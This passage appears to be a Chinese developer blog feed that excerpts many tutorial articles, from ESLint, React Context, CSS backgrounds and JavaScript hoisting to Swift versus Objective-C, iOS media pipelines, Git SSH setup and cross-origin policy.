 retryCount: Int = 3,
 cachePolicy: CachePolicy = .default,
 headers: [String: String] = [:],
 enableLogging: Bool = false,
 certificatePinning: Bool = false) {
 // ...
 }
}

// 使用时 - 参数太多，难以阅读
let config = NetworkConfig(
 baseURL: URL(string: "https://api.example.com")!,
 timeout: 60,
 retryCount: 5,
 cachePolicy: .reloadIgnoringCache,
 headers: ["Authorization": "Bearer token"],
 enableLogging: true,
 certificatePinning: true
)

这种方式有什么问题？

代码规范工程化

Thu, 07 Aug 2025 00:00:00 +0800

规范化是前端工程化的一个重要部分。现在，有许多工具能够辅助我们实行代码的规范化,比如你一定知道的 ESLint 和 Prettier。

今天，来聊聊这些工具的工作原理和基本使用，了解它们是如何发挥作用的，以及如何更好地利用这些工具去规范项目的代码。

1. ESlint - 检查你的 JavaScript 代码

让我们先从知名度最高的 ESLint 开始。

1.1. ESLint 及其作用

Lint 是一类专门用于检查代码的工具软件，也称 linter。ESLint ，即 JavaScript （ECMAScript）代码的检查工具。

正如官网的介绍 —— “Find and fix problems in your JavaScript code”，ESLint 能够辅助查找出你的 JavaScript 代码中的问题，包括：

代码风格问题（styles）。比如，运算符两边的空格、语句末尾的分号。
不好的写法。比如，使用 == 进行比较而不是 ===。
可能存在逻辑问题的代码模式。比如，定义了一个变量，但没有使用到它。

此外，ESLint 还能够帮你自动修复一些简单的问题。

我们将在下一小结学习如何使用 ESLint 检查我们的 JavaScript 代码，并修复其中的一些问题。

1.2. ESLint 快速上手

为了在项目中使用 ESLint，需要先安装它。

# 初始化一个 npm 项目
mkdir eslint-test
cd eslint-test
npm init -y
# 安装 eslint
npm init @eslint/config

回答一系列问题后，你可以看目录中的配置文件 .eslintrc.js，这个配置文件告诉 ESLint 如何去解析项目，这个项目采用了哪些规范和规则。

Cookie 和 Session

Mon, 28 Jul 2025 00:00:00 +0800

HTTP 协议是一种无状态协议，即每次服务端接收到客户端的请求时，都是一个全新的请求，服务器并不知道客户端的历史请求记录；Session 和 Cookie 的主要目的就是为了弥补 HTTP 的无状态特性。

Session 是什么

客户端请求服务端，服务端会为这次请求开辟一块内存空间，这个对象便是 Session 对象，存储结构为 ConcurrentHashMap。Session 弥补了 HTTP 无状态特性，服务器可以利用 Session 存储客户端在同一个会话期间的一些操作记录。

Session 如何判断是否是同一会话

服务器第一次接收到请求时，开辟了一块 Session 空间（创建了Session对象），同时生成一个 sessionId ，并通过响应头的 **Set-Cookie：JSESSIONID=XXXXXXX **命令，向客户端发送要求设置 Cookie 的响应；客户端收到响应后，在本机客户端设置了一个 JSESSIONID=XXXXXXX 的 Cookie 信息，该 Cookie 的过期时间为浏览器会话结束；

接下来客户端每次向同一个网站发送请求时，请求头都会带上该 Cookie信息（包含 sessionId ），然后，服务器通过读取请求头中的 Cookie 信息，获取名称为 JSESSIONID 的值，得到此次请求的 sessionId。

Session 的缺点

Session 机制有个缺点，比如 A 服务器存储了 Session，就是做了负载均衡后，假如一段时间内 A 的访问量激增，会转发到 B 进行访问，但是 B 服务器并没有存储 A 的 Session，会导致 Session 的失效。

Cookies 是什么

HTTP 协议中的 Cookie 包括 Web Cookie 和浏览器 Cookie，它是服务器发送到 Web 浏览器的一小块数据。服务器发送到浏览器的 Cookie，浏览器会进行存储，并与下一个请求一起发送到服务器。通常，它用于判断两个请求是否来自于同一个浏览器，例如用户保持登录状态。

Context API

Tue, 17 Dec 2024 00:00:00 +0800

先看看React官网对于Context的介绍

Context 提供了一个无需为每层组件手动添加 props，就能在组件树间进行数据传递的方法。在一个典型的 React 应用中，数据是通过 props 属性自上而下（由父及子）进行传递的，但这种做法对于某些类型的属性而言是极其繁琐的（例如：地区偏好，UI 主题），这些属性是应用程序中许多组件都需要的。Context 提供了一种在组件之间共享此类值的方式，而不必显式地通过组件树的逐层传递 props。

个人理解转成大白话：Context提供了一个局部的全局作用域，使用Context则无需再手动的逐层传递props。

本文主要介绍3种Context的使用方式：

React.createContext提供的Provider和Consumer
函数组件：React.createContext提供的Provider和useContext钩子
Class组件：React.createContext提供的Provider和class的contextType属性

第一种：React.createContext提供的Provider和Consumer

先写好使用Context的基础环境条件，后续的代码都是基于此环境

//创建一个文件，暂且命名为context.js，导出createContext()的返回值
import { createContext } from "react";

export default createContext();

在根组件App.jsx中，导入上面写的context，并使用context提供的Provider组件进行包裹，圈定局部的全局作用域，传值后可以提供给子组件进行消费

当 Provider 的 value 值发生变化时，它内部的所有消费组件都会重新渲染。Provider 及其内部 consumer 组件都不受制于 shouldComponentUpdate 函数，因此当 consumer 组件在其祖先组件退出更新的情况下也能更新。

import React, { createContext } from "react";
import MyContext from "./context";

import GeneralC from "./GeneralC";
import FnC from "./FnC";
import ClassC from "./ClassC";

export default function App() {
 return (
 //Provider组件接收一个value属性，此处传入一个带有name属性的对象
 <MyContext.Provider value={{ name: `context's value is string!` }}>
 {/*这里写后面要进行包裹的子组件,此处先行导入后续需要消费context的3个组件*/}
 <GeneralC/>
 <hr/>
 <FnC/>
 <hr/>
 <ClassC/>
 </MyContext.Provider>
 );
}

在GeneralC组件中,导入context,使用其提供的Consumer组件来订阅Context的变更,需要一个函数作为子元素,函数的第一个形参便是Provider组件提供的value值

import React, { useReducer } from "react";
import MyContext from "./context";

const GeneralC = () => {
 return (
 //
 <MyContext.Consumer>
 {(value) => {
 return (
 <div>
 第一种使用Context方式获取的值：{JSON.stringify(value)}
 </div>
 );
 }}
 </MyContext.Consumer>
 );
};

export default GeneralC;

此时页面中应该出现json格式的value值

变量对象

Wed, 06 Nov 2024 00:00:00 +0800

这篇文章要给大家介绍的是变量对象。

在JavaScript中，我们肯定不可避免的需要声明变量和函数，可是JS解析器是如何找到这些变量的呢？我们还得对执行上下文有一个进一步的了解。

在知识点《执行上下文》中，我们已经知道，当调用一个函数时（激活），一个新的执行上下文就会被创建。而一个执行上下文的生命周期可以分为两个阶段。

创建阶段

在这个阶段中，执行上下文会分别创建变量对象，建立作用域链，以及确定this的指向。

代码执行阶段

创建完成之后，就会开始执行代码，这个时候，会完成变量赋值，函数引用，以及执行其他代码。

从这里我们就可以看出详细了解执行上下文极为重要，因为其中涉及到了变量对象，作用域链，this等很多人没有怎么弄明白，但是却极为重要的概念，它关系到我们能不能真正理解JavaScript。在后面的文章中我们会一一详细总结，这里我们先重点了解变量对象。

变量对象（Variable Object）

变量对象的创建，依次经历了以下几个过程。

建立arguments对象。检查当前上下文中的参数，建立该对象下的属性与属性值。
检查当前上下文的函数声明，也就是使用function关键字声明的函数。在变量对象中以函数名建立一个属性，属性值为指向该函数所在内存地址的引用。如果函数名的属性已经存在，那么该属性将会被新的引用所覆盖。
检查当前上下文中的变量声明，每找到一个变量声明，就在变量对象中以变量名建立一个属性，属性值为undefined。如果该变量名的属性已经存在，为了防止同名的函数被修改为undefined，则会直接跳过，原属性值不会被修改。

许多读者在阅读到这的时候会因为下面的这样场景对于“跳过”一词产生疑问。既然变量声明的foo遇到函数声明的foo会跳过，可是为什么最后foo的输出结果仍然是被覆盖了？

function foo() { console.log('function foo') }
var foo = 20;

console.log(foo); // 20

其实只是大家在阅读的时候不够仔细，因为上面的三条规则仅仅适用于变量对象的创建过程。也就是执行上下文的创建过程。而foo = 20是在执行上下文的执行过程中运行的，输出结果自然会是20。对比下例。

console.log(foo); // function foo
function foo() { console.log('function foo') }
var foo = 20;

// 上栗的执行顺序为

// 首先将所有函数声明放入变量对象中
function foo() { console.log('function foo') }

// 其次将所有变量声明放入变量对象中，但是因为foo已经存在同名函数，因此此时会跳过undefined的赋值
// var foo = undefined;

// 然后开始执行阶段代码的执行
console.log(foo); // function foo
foo = 20;

根据这个规则，理解变量提升就变得十分简单了。在很多文章中虽然提到了变量提升，但是具体是怎么回事还真的很多人都说不出来，以后在面试中用变量对象的创建过程跟面试官解释变量提升，保证瞬间提升逼格。

在上面的规则中我们看出，function声明会比var声明优先级更高一点。为了帮助大家更好的理解变量对象，我们结合一些简单的例子来进行探讨。

// demo01
function test() {
 console.log(a);
 console.log(foo());

 var a = 1;
 function foo() {
 return 2;
 }
}

test();

在上例中，我们直接从test()的执行上下文开始理解。全局作用域中运行test()时，test()的执行上下文开始创建。为了便于理解，我们用如下的形式来表示

background

Thu, 10 Oct 2024 00:00:00 +0800

引言

在日常前端开发中，经常需要进行背景或背景图的处理。但是大多数前端er并未真正清楚背景的正确使用方式。经过本章的学习，相信你一定可以解决99%的背景处理问题。

一：简单使用

背景颜色和背景图片是可以共同出现的

 div {
 width: 300px;
 height: 300px;
 background-color: red;
 background-image: url(./imgs/1.jpg);
 background-repeat: no-repeat;
 }

页面展示

一：background-repeat

background-repeat决定背景图片的平铺方式

属性值

background-repeat:repeat (默认值)
background-repeat:no-repeat (不平铺)
background-repeat:repeat-x （水平方向平铺）
background-repeat:repeat-y （垂直方向平铺）

1. repeat

默认情况下，如果背景图片不能铺满整个盒子时，系统会在水平和垂直方向同时平铺直到覆盖整个盒子

div {
 width: 300px;
 height: 300px;
 background-color: red;
 background-image: url(./imgs/1.jpg);
 background-repeat: repeat;
 }

2.repeat-x

如果背景图片不能将盒子的水平方向铺满，则在水平方向采取平铺处理直到铺满盒子的水平方向。

div {
 width: 300px;
 height: 300px;
 background-color: red;
 background-image: url(./imgs/1.jpg);
 background-repeat: repeat-x;
 }

3.repeat-y

如果背景图片不能将盒子的垂直方向铺满，则在垂直方向采取平铺处理直到铺满盒子的垂直方向。

div {
 width: 300px;
 height: 300px;
 background-color: red;
 background-image: url(./imgs/1.jpg);
 background-repeat: repeat-y;
 }

二：background-position

background-positiont决定背景图片在盒子区域的定位位置。其方位由水平和垂直决定

1.px设置

px决定了背景图片在盒子水平和垂直方向偏移指定px的距离。

div {
 width: 300px;
 height: 300px;
 background-color: red;
 background-image: url(./imgs/1.jpg);
 background-repeat: no-repeat;
 background-position: 100px 100px;
 }

methods

Fri, 04 Oct 2024 00:00:00 +0800

Methods 的初始化

在 Vue.js 中，每个组件实例（vm）都会有一个 methods 属性，这个属性包含了组件中定义的所有方法。这些方法需要被初始化到实例上，以便可以在模板和生命周期钩子中被调用。初始化过程如下：

function initMethods(vm, methods) {
 for (var key in methods) {
 vm[key] = methods[key] == null ? noop : bind(methods[key], vm);
 }
}

这段代码遍历 methods 对象中的每个属性，并将其复制到 Vue 实例（vm）上。如果方法不存在（methods[key] == null），则赋值为一个空函数（noop），以避免对 undefined 的调用。否则，使用 bind 方法将每个方法的 this 绑定到 Vue 实例上。

Methods 作用域的固定

在 JavaScript 中，函数的 this 值是在函数被调用时确定的，而不是在定义时。这可能导致在 Vue 实例的方法中 this 并不指向实例本身，尤其是在方法被传递给其他函数或作为回调函数时。Vue 使用 bind 来解决这个问题，确保 this 总是指向 Vue 实例。

原生和兼容性 bind 实现

Vue.js 提供了两种 bind 的实现：原生的和兼容性的。兼容性实现是为了兼容那些不支持 Function.prototype.bind 的旧浏览器。

function polyfillBind(fn, ctx) {
 function boundFn(a) {
 var l = arguments.length;
 return l ?
 (l > 1 ? fn.apply(ctx, arguments) : fn.call(ctx, a)) :
 fn.call(ctx);
 }
 boundFn._length = fn.length;
 return boundFn;
}

function nativeBind(fn, ctx) {
 return fn.bind(ctx);
}

var bind = Function.prototype.bind ?
 nativeBind :
 polyfillBind;

polyfillBind 函数创建了一个新的函数 boundFn，它在调用时使用 call 或 apply 将 fn 的 this 绑定到 ctx 上。
nativeBind 函数直接使用原生的 bind 方法。
bind 变量根据浏览器是否支持原生 bind 来选择使用哪种实现。

使用 bind 的好处

使用 bind 后，我们可以在组件的方法中直接使用 this 来访问实例的属性和方法，而不用担心 this 的指向问题。这使得代码更加简洁和安全。

密码存储

Wed, 02 Oct 2024 00:00:00 +0800

我们在开发网站或者APP时，首先要解决的问题，就是如何安全地传输和存储用户的密码。一些大公司的用户数据库泄露事件也时有发生，带来非常大的负面影响。因此，如何安全传输存储用户密码，是每位程序员必备的基础。本文将跟大家一起学习，如何安全传输存储用户的密码。

1. 如何安全地传输用户的密码

要拒绝用户密码在网络上裸奔，我们很容易就想到使用https协议，那先来回顾下https相关知识吧~

1.1 https 协议

「http的三大风险」

为什么要使用https协议呢？http它不香吗? 因为http是明文信息传输的。如果在茫茫的网络海洋，使用http协议，有以下三大风险：

窃听/嗅探风险：第三方可以截获通信数据。

数据篡改风险：第三方获取到通信数据后，会进行恶意修改。

身份伪造风险：第三方可以冒充他人身份参与通信。

如果传输不重要的信息还好，但是传输用户密码这些敏感信息，那可不得了。所以一般都要使用https协议传输用户密码信息。

「https 原理」

https原理是什么呢？为什么它能解决http的三大风险呢？

https = http + SSL/TLS, SSL/TLS 是传输层加密协议，它提供内容加密、身份认证、数据完整性校验，以解决数据传输的安全性问题。

为了加深https原理的理解，我们一起复习一下 一次完整https的请求流程吧~

客户端发起https请求

服务器必须要有一套数字证书，可以自己制作，也可以向权威机构申请。这套证书其实就是一对公私钥。

服务器将自己的数字证书（含有公钥、证书的颁发机构等）发送给客户端。

客户端收到服务器端的数字证书之后，会对其进行验证，主要验证公钥是否有效，比如颁发机构，过期时间等等。如果不通过，则弹出警告框。如果证书没问题，则生成一个密钥（对称加密算法的密钥，其实是一个随机值），并且用证书的公钥对这个随机值加密。

客户端会发起https中的第二个请求，将加密之后的客户端密钥(随机值)发送给服务器。

服务器接收到客户端发来的密钥之后，会用自己的私钥对其进行非对称解密，解密之后得到客户端密钥，然后用客户端密钥对返回数据进行对称加密，这样数据就变成了密文。

服务器将加密后的密文返回给客户端。

客户端收到服务器发返回的密文，用自己的密钥（客户端密钥）对其进行对称解密，得到服务器返回的数据。

「https一定安全吗？」

https的数据传输过程，数据都是密文的，那么，使用了https协议传输密码信息，一定是安全的吗？其实不然

比如，https 完全就是建立在证书可信的基础上的呢。但是如果遇到中间人伪造证书，一旦客户端通过验证，安全性顿时就没了哦！平时各种钓鱼不可描述的网站，很可能就是黑客在诱导用户安装它们的伪造证书！

通过伪造证书，https也是可能被抓包的哦。

1.2 对称加密算法

既然使用了https协议传输用户密码，还是 「不一定安全」，那么，我们就给用户密码 「加密再传输」 呗~

加密算法有 「对称加密」 和 「非对称加密」 两大类。用哪种类型的加密算法 「靠谱」 呢？

对称加密：加密和解密使用 「相同密钥」 的加密算法。

常用的对称加密算法主要有以下几种哈：

如果使用对称加密算法，需要考虑 「密钥如何给到对方」 ，如果密钥还是网络传输给对方，传输过程，被中间人拿到的话，也是有风险的哦。

1.3 非对称加密算法

再考虑一下非对称加密算法呢？

「非对称加密：」 非对称加密算法需要两个密钥（公开密钥和私有密钥）。公钥与私钥是成对存在的，如果用公钥对数据进行加密，只有对应的私钥才能解密。

展开运算符

Wed, 02 Oct 2024 00:00:00 +0800

ES6 新增了很多特性，扩展运算符就是其中一个。简单的三个点号，让原本繁琐的代码瞬间变得简洁、优雅。就让我们看看它有哪些常见用法吧。

让函数的 Apply 调用方式成为过去

有时候我们需要通过 Function.prototype.apply 来调用函数，参数就放在一个数组里。

function doStuff (x, y, z) { }
var args = [0, 1, 2];

// 调用函数并传参
doStuff.apply(null, args);

现在有了展开运算符，我们可以完全避免使用 apply，只需在调用函数时在数组前加上展开运算符：

doStuff(...args);

代码变得更短、更简洁，也不需要一个毫无用处的 null！

合并数组

合并数组有各种方式，但是展开运算符为我们提供了一种新思路：

arr1.push(...arr2) // 在数组后面添加 arr2 里的元素
arr1.unshift(...arr2) //在数组前面添加 arr2 里的元素

如果你想合并两个数组，并且想把元素放到数组中的任何位置，你可以这么做：

var arr1 = ['two', 'three'];
var arr2 = ['one', ...arr1, 'four', 'five'];

// ["one", "two", "three", "four", "five"]

代码少了很多，还可以随意控制位置！

拷贝数组

拷贝数组是个常见的任务，过去我们使用 Array.prototype.slice
来完成，但现在我们可以通过展开运算符得到数组的副本：

var arr = [1,2,3];
var arr2 = [...arr]; // 等同于 arr.slice()
arr2.push(4)

这里要注意，数组里的对象仍然是引用类型的，因此实际上并不是所有内容都被“拷贝”了。

将参数或 NodeList 转成数组

跟拷贝数组类似，我们用 Array.Prototype.slice 将 NodeList和 arguments 对象转成真正的数组，但是现在我们可以使用展开运算符完成这个任务：

表单控件

Wed, 25 Sep 2024 00:00:00 +0800

01、`<form>`表单

表单是比较重要的HTML元素，主要作用是向服务端提交数据。比如结合表单元素input使用，通过内部的button按钮提交（type=“submit”）表单数据。

元素/属性	描述	值/备注
`<form>`	表单元素
action	提交表单的目标（服务端）地址url
method	提交数据的方式，就是数据传输的方式	get：通过URL提交数据 `url?uname=1&age=2`；post，通过HTTP表单数据提交，键值格式。
target	提交数据时打开action url的方式	_self：当前窗口（默认值）；_blank：新窗口
enctype	编码类型（encode type），规定了form表单在发送到服务器时候编码方式，不常用。	application/x-www-form-urlencoded：编码所有字符（默认）；multipart/form-data ：混合类型，表单中有文件上传时使用；text/plain：纯文体，空格转换为 “+” 加号，不对特殊字符编码
submit()	提交表单数据，通过js代码调用
`<fieldset>`	表单分组，默认样式：一个框	便于表单样式管理的语义化元素
form	from的id，当`<fieldset>`不在form中时
disabled	整个分组都不可用
`<legend>`	作为`<fieldset>`的标题，显示在框上	（legend /ˈledʒənd/ 铭文、图例）

<style>
 #form fieldset {
 border: 1px solid skyblue;
 padding: 20px 10px;
 border-radius: 5px;
 text-align: center;
 margin: 10px 0px;
 }
 #form fieldset legend {
 font-size: 1em;
 border: 1px solid rgb(236, 175, 43);
 border-radius: 1em;
 padding: 3px 15px;
 }
</style>
<form id="form" action="#" target="_self" method="post">
 <fieldset>
 <legend>登录</legend>
 <input type="text" name="uname" placeholder="请输入用户名" required maxlength="36">
 <input type="password" name="upwd" required maxlength="12" placeholder="输入密码">
 <input type="submit" value="submit-登录">
 </fieldset>
</form>

📢注意：<form>提交数据时参数名为表单元素的name，因此表单控件须设置name属性。

Objective-C与Swift区别

Fri, 08 May 2026 13:07:14 +0800

语言设计

Objective-C

是C的超集，在C的基础上添加了Smalltalk风格的消息传递机制
对象间交互不通过调用方法而是发送消息，以实现面向对象编程和超高的动态性
动态性由 Objective-C Runtime 系统支持，可以在运行时修改类结构、方法交换等，详见 Runtime
弱类型语言，核心类型id可以指向任何Objective-C对象

Swift

从很多现代化语言中汲取精华，是一门偏重于安全、性能的现代化语言
Swift 也有自己的运行时系统（Swift Runtime），但设计哲学完全不同，更强调编译期优化
强类型语言，编译器在编译阶段进行严格的类型检查

语法特性

Objective-C

语法冗长，需要显式声明类型
命名通常较长且需要添加前缀避免冲突
需要单独的.h和.m文件声明接口和实现
引用其他文件/模块必须要import（Objective-C中import详解）
协议不支持默认实现
泛型是"轻量级泛型"，仅用于编译时类型检查，运行时类型信息会被擦除

Swift

语法简洁，强大的类型推断减少冗余的类型声明
有命名空间（模块）的存在避免命名冲突
不需要单独的头文件声明接口
默认情况下变量必须初始化
引用同模块的其他文件不需要import（Swift中import详解）
协议支持默认实现、支持拓展，支持关联类型以实现泛型协议
值类型也可以遵守协议
泛型在编译时进行类型特化优化，支持完整的泛型元编程

内存管理

Objective-C

大部分都是引用类型，依赖引用计数管理内存
ARC在编译时自动插入retain、release、autorelease调用
64位系统使用优化的isa（Non-pointer isa），通过位域在isa中嵌入引用计数（extra_rc字段），溢出时使用SideTable存储
实例变量（ivar）会被Runtime自动初始化为0/nil

Swift

引用类型也是依赖引用计数管理内存
存在大量的值类型，例如结构体、枚举、数组、字典等
非逃逸的值类型的内存存在栈区由系统进行自动管理
纯Swift类的引用计数直接存储在对象头部的RefCount字段中，无需SideTable，访问更高效
编译器在编译时就确保了初始化，不需要运行时统一清零

拓展：值类型和引用类型的区别拓展：iOS中的内存管理

性能对比

Objective-C

基于消息传递机制本质上是动态派发，运行时查找方法实现，有一定开销
ARC管理引用计数也有开销
引用类型内存存在堆区，内存管理的性能开销会比栈区多很多

Swift

方法派发尽可能使用静态派发（如对final类/方法、私有方法、值类型方法的调用）
编译器可以内联优化，速度接近C
- 内联优化：比如A方法调用B方法，B方法调用C方法，代码编写调用A方法时编译器通过内联直接调用C方法的实现
值类型内存分配在栈区，性能开销相对较小
虽然值类型是深拷贝，Swift为了优化值类型性能引入写时拷贝（Copy-on-Write）机制，值类型只在写操作发生深拷贝，其他时候都是浅拷贝

安全性

Objective-C

弱类型（动态类型）占主导
核心类型id可以指向任何Objective-C对象
编译器几乎不做类型检查，会有运行时崩溃的风险（如向不响应某消息的对象发送该消息）
nil消息发送不会崩溃但可能导致逻辑错误，不容易感知
局部变量不会自动初始化，可能包含栈上的垃圾数据（未定义行为）

Swift

可选类型强制处理空值，编译器强制解包检查
强类型和编译时检查阻止了大量常见错误
变量必须初始化后才能使用，编译器在编译阶段强制检查，消除未定义行为
强制初始化使编译器能更精确地追踪变量生命周期，带来更多优化机会
数组越界等操作会在运行时触发明确的崩溃，便于定位问题

编程范式

Objective-C

主要是面向对象编程（OOP）
通过继承实现代码复用
依赖Runtime实现面向切面编程（AOP），如Method Swizzling

Swift

拥抱多范式，对函数式编程、面向协议编程（POP）、声明式编程很友好
通过协议扩展提供默认实现，协议组合替代多继承
值类型（struct/enum）也可以遵循协议，不再局限于类

拓展：OOP、POP与AOP

iOS音视频原理

Sat, 02 May 2026 22:32:27 +0800

音视频开发是iOS中一个庞大且核心的技术领域，涵盖采集、编码、传输、解码、渲染等完整链路。本文从基础概念出发，深入iOS平台提供的音视频框架和底层原理。

音视频处理全链路

一个完整的音视频系统（如直播、视频通话、短视频）包含以下环节：

flowchart LR
A["采集
Camera/Mic"] --> B["前处理
美颜/降噪"]
B --> C["编码
H.264/AAC"]
C --> D["封装
FLV/MP4"]
D --> E["传输
RTMP/HLS"]
E --> F["解封装
解析容器"]
F --> G["解码
VideoToolbox"]
G --> H["后处理
滤镜/混音"]
H --> I["渲染
Metal/Speaker"]

环节	做什么	iOS中对应的技术
采集	从摄像头/麦克风获取原始数据	AVCaptureSession
前处理	美颜、滤镜、降噪、回声消除	CoreImage、vDSP
编码	将原始数据压缩为体积更小的格式	VideoToolbox、AudioToolbox
封装	将编码后的音视频数据打包到容器中	AVAssetWriter
传输	通过网络发送到服务器或其他端	URLSession、第三方推流SDK
解封装	从容器中分离出音频流和视频流	AVAssetReader
解码	将压缩数据还原为原始像素/采样数据	VideoToolbox、AudioToolbox
后处理	滤镜、水印、混音等	CoreImage、Metal
渲染	将画面显示到屏幕、声音输出到扬声器	AVSampleBufferDisplayLayer、Metal、AudioUnit

核心术语

在深入细节之前，先了解几个贯穿全文的核心概念：

什么是编解码器（Codec）

Codec = Coder + Decoder，即编码器+解码器的合称。编码器负责将原始音视频数据压缩为更小的格式，解码器负责将压缩数据还原。

音视频中有两类完全不同的"格式"概念，初学者极易混淆：

编码格式（Codec）：定义数据怎么压缩
 视频：H.264、H.265、VP9、AV1
 音频：AAC、MP3、Opus、FLAC

封装格式（Container）：定义压缩后的数据怎么组织存储
 MP4、MOV、FLV、MKV、TS

两者是独立的，可以自由组合:
 MP4容器 + H.264视频 + AAC音频 （最常见的组合）
 MOV容器 + H.265视频 + AAC音频 （iPhone录制默认）
 FLV容器 + H.264视频 + AAC音频 （直播推流常用）
 MKV容器 + AV1视频 + Opus音频 （新一代免费组合）

什么是H.264和H.265

H.264（也叫AVC，Advanced Video Coding）是目前使用最广泛的视频编码标准，由ITU-T和ISO/IEC联合制定，2003年发布。它定义了一套将视频帧压缩为比特流的算法规范——包括如何划分图像块、如何预测、如何变换量化等。几乎所有设备和平台都支持H.264硬件解码。

LLM Wiki：Karpathy 提出的"后 RAG 时代"个人知识库范式

Sat, 02 May 2026 22:32:27 +0800

2026 年 4 月，Andrej Karpathy 在 GitHub Gist 上发布了一份名为 llm-wiki.md 的"想法文档"（idea file），短短几天收获了 5000+ 星和 5000+ fork。这篇文档篇幅不长，却被评价为"后 RAG 时代"个人知识管理的一个**分类定义性（category-defining）**框架。

原文地址：https://gist.github.com/karpathy/442a6bf555914893e9891c11519de94f

Karpathy 写这篇文档的风格非常有意思：它不是一份实现规范，而是一份"可以复制粘贴给你自己的 LLM Agent（Claude Code、Codex、OpenCode/Pi 等）“的模式描述。它告诉 Agent 模式的核心是什么，剩下的细节（目录结构、schema 约定、页面格式、工具链）交给用户和 Agent 一起协同演化。

本文将详细拆解这份文档的核心思想，并结合社区讨论（scale 极限、Zettelkasten 替代方案、反对派观点等）给出一个完整解读。

一、问题起点：RAG 的"每次从零开始”

大多数人今天使用 LLM 处理文档的方式是 RAG（检索增强生成）：

把一堆文档上传到系统
查询时 LLM 从原文中检索相关片段
基于片段合成答案

NotebookLM、ChatGPT 文件上传、绝大多数 RAG 系统都是这个模式。

1.1 RAG 的根本局限：没有累积

Karpathy 点出了 RAG 的一个关键问题：LLM 每次都在从零开始重新发现知识。

问一个需要综合 5 篇文档的微妙问题 → LLM 每次都要重新找出相关片段，重新拼接，重新推理
上一次你问过的关键问题的答案，下一次再问时不会被保留
跨源的矛盾、交叉引用、细微的关联 —— 每次都要重新建立

什么都没有被"沉淀"下来。 这就像每次考试都重新读一遍教科书，却从不做笔记、从不整理知识卡片、从不画思维导图。

1.2 LLM Wiki 的核心差异

LLM Wiki 提出了一个根本性的反转：

生产者消费者模式

Sat, 02 May 2026 22:32:27 +0800

定义

生产者消费者模式（Producer-Consumer Pattern）是一种并发设计模式，它通过一个共享的缓冲区来解耦生产者和消费者，使得生产者和消费者可以以不同的速度工作，而不需要直接相互依赖。

生产者负责产生数据并放入缓冲区，消费者从缓冲区中取出数据进行处理。这种模式是多线程编程中最经典的设计模式之一。

为什么需要生产者消费者模式

生产者消费者模式要解决的核心问题是：如何在生产者和消费者处理速度不一致的情况下，实现高效、安全的数据传递。

问题场景：假设我们正在开发一个图片处理App，用户选择多张图片后需要进行滤镜处理。图片加载速度快，但滤镜处理速度慢。

最直接的方式可能是这样：

class ImageProcessor {
 func processImages(_ urls: [URL]) {
 for url in urls {
 // 加载图片（快）
 let image = loadImage(from: url)

 // 应用滤镜（慢）
 let filtered = applyFilter(to: image)

 // 保存结果
 saveImage(filtered)
 }
 }

 private func loadImage(from url: URL) -> UIImage { /* ... */ }
 private func applyFilter(to image: UIImage) -> UIImage { /* ... */ }
 private func saveImage(_ image: UIImage) { /* ... */ }
}

这种方式有什么问题？

版本控制

Thu, 07 Aug 2025 00:00:00 +0800

什么是版本控制

版本控制是一种系统性的方法，用于管理和跟踪软件开发项目中的代码、文件和资源。它的核心目标是在不同时间点的开发中保持代码的一致性、可追溯性和可维护性。

为什么要做版本控制

这个问题可以从定义中的关键词可以看出端倪：不同时间点下的代码一致性、可追溯性、可维护性。这里额外补充一点：当今的互联网开发早已步入敏捷迭代，各种动态化方案层出不穷都有着顺应时代潮流的意思，因此软件开发一定会越来越多地涉及到团队开发，团队之间的协作也一定需要这样一个机制去保障稳定性。

代码一致性

版本控制系统允许开发人员有效地管理和组织项目中的代码。它跟踪每个文件的历史记录，记录了每个版本的变更，包括谁做了什么修改、何时以及为什么。

可追溯性

版本控制系统允许为重要的里程碑或发布创建标签（tag），以便轻松识别和回滚到特定版本。

并且当某个版本的代码出现问题，版本控制系统允许开发人员轻松地回滚到之前的稳定版本，并在不破坏其余代码的情况下进行修复。

可维护性

开发人员可以创建分支（branch），这是一个独立的代码副本，用于开发新功能、修复错误或进行实验性工作。然后，这些分支可以与主代码库合并，以实现功能集成。

团队协作

在多人协作的环境中，不同开发者可能同时修改代码。版本控制系统确保不同的修改不会互相冲突，以及如何解决冲突。

版本控制系统促进了团队之间的协作，可以通过代码审查工具进行代码审查，以确保代码质量和一致性。

版本控制工具`Git`

`Git`的安装

`WIndows`

访问 Git官网，选择对应的操作系统下载即可。

这里下载独立安装包即可

点install就行，会自动安装一个git GUI工具，但通常不会直接用它

下载完成安装即可，输入以下命令验证安装是否成功

git version

图形化工具

安装

这里推荐TortoiseGit这个工具，非常方便。但我觉得Git本身学习成本并不高，GUI工具更多是为了提升效率，基本的Git知识点还是需要掌握的。

下载本体

然后是语言包

安装时一路next即可，安装完本体后再安装语言包。

配置好Github的账户、邮箱、秘钥等，注意配置好了密钥也不会在下述部分显示，可以打开编辑全局进行查看

使用

在使用之前先提前补充一个点（后续会详细介绍），Git有本地仓库和远端仓库的概念，通常支持HTTPS和SSH两种协议进行关联，两种方式优缺点也十分明显：

HTTPS：无需额外配置，但是在每次连接远端仓库时需要输入账号密码进行校验。
SSH：生成一组密钥对，需要本地进行配置，好处是配置好后每次连接远端仓库时会自动比较密钥对，无需额外校验。关于SSH详细可以参考这篇文章ssh-远程登录协议

为了一劳永逸，我们这里配置下SSH，首先打开Git bash

# 输入下列命令，最后一个参数是您的邮箱
$ ssh-keygen -t rsa -C yourEmail.com

可以看到密钥对已经生成了

进入上述目录，注意.ssh文件夹默认是隐藏的，直接访问路径就行

以Github为例，配置公钥

创建一个Demo项目，平时学习的话就创建公有项目就行

复制一下我们的项目链接

选取一个你喜欢的目录作为本地工作区，然后按鼠标右键

跨域相关

Mon, 28 Jul 2025 00:00:00 +0800

一、什么是跨域？

1.什么是同源策略及其限制内容？

同源策略是一种约定，它是浏览器最核心也最基本的安全功能，如果缺少了同源策略，浏览器很容易受到XSS、CSRF等攻击。所谓同源是指"协议+域名+端口"三者相同，即便两个不同的域名指向同一个ip地址，也非同源。

同源策略限制内容有：

Cookie、LocalStorage、IndexedDB 等存储性内容
DOM 节点
AJAX 请求发送后，结果被浏览器拦截了

但是有三个标签是允许跨域加载资源：

<img src=XXX>
<link href=XXX>
<script src=XXX>

2.常见跨域场景

当协议、子域名、主域名、端口号中任意一个不相同时，都算作不同域。不同域之间相互请求资源，就算作“跨域”。常见跨域场景如下图所示：

特别说明两点：

第一：如果是协议和端口造成的跨域问题“前台”是无能为力的。

第二：在跨域问题上，仅仅是通过“URL的首部”来识别而不会根据域名对应的IP地址是否相同来判断。“URL的首部”可以理解为“协议, 域名和端口必须匹配”。

